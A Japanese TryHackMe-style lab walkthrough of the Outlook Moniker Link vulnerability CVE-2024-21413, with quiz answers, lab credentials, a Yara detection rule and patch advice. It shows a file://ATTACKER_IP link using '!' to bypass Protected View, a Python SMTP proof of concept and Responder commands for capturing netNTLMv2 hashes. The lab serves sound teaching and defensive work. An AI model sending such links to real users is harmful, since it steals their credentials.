2024年2月13日、Microsoftは、CVE-2024-21413 (Moniker Link) として割り当てられたMicrosoft OutlookのRCEおよび資格情報漏洩の脆弱性を発表しました。Check Point ResearchのHaifei Liがこの脆弱性の発見者としてクレジットされています。
この脆弱性は、Moniker Linkとして知られる特定の種類のハイパーリンクを処理する際に、Outlookのセキュリティメカニズムをバイパスします。攻撃者は、悪意のあるMoniker Linkを含む電子メールを被害者に送信することでこれを悪用し、ハイパーリンクがクリックされると、被害者のNTLM資格情報が攻撃者に送信される結果となります。
脆弱性のスコアリングに関する詳細は以下の表に記載されています。
CVSS Description Publish date February 13th, 2024 MS article https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 Impact Remote Code Execution & Credential Leak Severity Critical Attack Complexity Low Scoring 9.8
この脆弱性は、以下のOfficeリリースに影響を与えることが知られています。
Release Version Microsoft Office LTSC 2021 affected from 19.0.0 Microsoft 365 Apps for Enterprise affected from 16.0.1 Microsoft Office 2019 affected from 16.0.1 Microsoft Office 2016 affected from 16.0.0 before 16.0.5435.1001
このタスクにはAttackBoxと脆弱なマシンの両方が必要です。添付のVMをデプロイするには、下の緑色の「Start Machine」ボタンを押してください。
Username tryhackme Password Kkh3gv439dnq!
CVEに割り当てられた「重要度」評価は何ですか? > ANSWER : Critical
Outlookは電子メールをHTMLとしてレンダリングできます。お気に入りのニュースレターでこれが使用されていることに気付くかもしれません。さらに、OutlookはHTTPやHTTPSなどのハイパーリンクを解析できます。ただし、Moniker Linksとして知られるアプリケーションを指定するURLも開くことができます。通常、Outlookは外部アプリケーションがトリガーされるとセキュリティ警告を表示します。

外部アプリケーションを起動するとOutlookの保護ビューがトリガーされます
このポップアップはOutlookの「保護ビュー」の結果です。保護ビューは、添付ファイル、ハイパーリンク、および同様のコンテンツを含む電子メールを読み取り専用モードで開き、マクロなどをブロックします(特に組織外部からのもの)。
ハイパーリンクでfile:// Moniker Linkを使用することにより、Outlookにネットワーク共有上のファイルなどにアクセスするよう指示できます(<a href="file://ATTACKER_IP/test">Click me</a>)。SMBプロトコルが使用され、これには認証にローカル資格情報を使用することが含まれます。ただし、Outlookの「保護ビュー」がこれをキャッチしてブロックします。
ここでの脆弱性は、ハイパーリンクに!特殊文字といくつかのテキストをMoniker Linkに含めるように変更することで存在し、その結果Outlookの保護ビューがバイパスされます。例えば:<a href="file://ATTACKER_IP/test!exploit">Click me</a>.
攻撃者として、この性質のMoniker Linkを攻撃のために提供できます。共有はリモートデバイスに存在する必要はありません。認証の試行は関係なく行われ、被害者のWindows netNTLMv2ハッシュが攻撃者に送信される結果となります。
リモートコード実行が可能なのは、Moniker LinksがWindowsのComponent Object Model (COM) を使用するためです。ただし、この特定のCVEを介したRCEを達成するための公開された概念実証は現在ないため、このルームでは説明の範囲外です。
ハイパーリンクで使用するMoniker Linkの種類は何ですか? > ANSWER : file:// Outlookの「保護ビュー」をバイパスするために使用される特殊文字は何ですか? > ANSWER : !
この攻撃では、前のタスクで提供されたものと同様のMoniker Linkを被害者に電子メールで送信します。攻撃者としての目的は、Outlookの「保護ビュー」をバイパスするMoniker Linkを含む電子メールを被害者に作成することで、被害者のクライアントが攻撃マシンからファイルをロードしようとし、その結果被害者のnetNTLMv2ハッシュがキャプチャされることです。
しかし、最初に、私が作成したPoC(GitHubでも利用可能)を実行してみましょう。
''' Author: CMNatic | https://github.com/cmnatic Version: 1.0 | 19/02/2024 ''' import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr sender_email = '[email protected]' # Replace with your sender email address receiver_email = '[email protected]' # Replace with the recipient email address password = input("Enter your attacker email password: ") html_content = """\ """ message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # Convert the HTML string into bytes and attach it to the message object msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n Email delivered") except Exception as error: print(error) finally: server.quit()
PoCは:
Responderを使用して、攻撃マシンにSMBリスナーを作成しましょう。THM AttackBoxの場合、インターフェースは -I ens5 になります。独自のデバイス(例:Kali)を使用している場合はインターフェース名が異なります。宿題として、Impacketサーバーも使用できます。
AttackBoxでResponderを起動
root@attackbox:# responder -I ens5
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
-- cut for brevity --
[+] Listening for events...
分割画面ビューの「CVE-2024-21413」ペインを押して、脆弱なマシンを開きましょう。

デスクトップの「Outlook」ショートカットをクリックしてOutlookを開きます。Outlookが開いたら、ポップアップで「サインインしないか、アカウントを作成しない」をクリックします。

ポップアップの右上にある「X」をクリックして2番目のポップアップを閉じます(画面解像度によってはウィンドウを少し左にドラッグする必要があるかもしれません)。

完了すると、Outlookインターフェースが表示されます。このルームでは、被害者のメールボックスは既にOutlookで設定されています。

AttackBoxに戻ります。上記のPoCをAttackBoxにコピー&ペーストします。
これを行うには、AttackBoxに新しいファイルを作成します。nano exploit.py を使用し、分割画面ビューのスライドアウトトレイを使用します。動作については以下のGIFを参照してください。

Pythonスクリプトを実行する前に、AttackBoxでいくつかの初期設定を行う必要があります。
完了したら、エクスプロイトを実行できます。攻撃者の電子メールパスワードの入力を求められたら、「attacker」と入力します。
exploit.pyの実行
root@attackbox:# python3 exploit.py Enter your attacker email password: attacker
Pythonスクリプトは、電子メールが送信されると「Email delivered」と出力します。スクリプトが認証失敗と表示する場合は、exploit.pyの値が正しく置き換えられていることを確認してください。それでは、脆弱なマシンに戻り、新しい電子メールを確認します。
「Click me」ハイパーリンクをクリックし、AttackBoxの「Responder」ターミナルセッションに戻ります。

成功!被害者のnetNTLMv2ハッシュがAttackBoxでキャプチャされました。
AttackBoxでユーザーのハッシュをキャプチャするために使用するアプリケーションの名前は何ですか? > ANSWER : responder 電子メール内のハイパーリンクがクリックされた後にキャプチャされるハッシュの種類は何ですか? > ANSWER : netNTLMv2
Florian Rothによって、Moniker Link内のfile:\要素を含む電子メールを検出するYaraルールが作成されました。
CVE
-2024-21413 Yara rule created by Florian Roth
user@yourmachine:# cat cve-2024-21413.yar
rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {
meta:
description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"
author = "X__Junior, Florian Roth"
reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
date = "2024-02-17"
modified = "2024-02-19"
score = 75
strings:
$a1 = "Subject: "
$a2 = "Received: "
$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
condition:
filesize < 1000KB
and all of ($a*)
and 1 of ($xr*)
}
さらに、被害者からクライアントへのSMBリクエストは、truncated netNTLMv2ハッシュを含むパケットキャプチャで確認できます。

次のタスクに進むにはクリックしてください! > ANSWER : NO ANSWER
Microsoftは2月の「パッチチューズデー」リリースでこの脆弱性を解決するパッチを含めています。Officeビルド別のKB記事のリストはこちらで確認できます。Windows UpdateまたはMicrosoft Update Catalogを介してOfficeを更新することを強くお勧めします。
また、当面の間は、一般的な安全なサイバーセキュリティ慣行を実践する良い機会です。例えば、ユーザーに以下のことを思い出させてください。
次のタスクに進むにはクリックしてください。 > ANSWER : NO ANSWER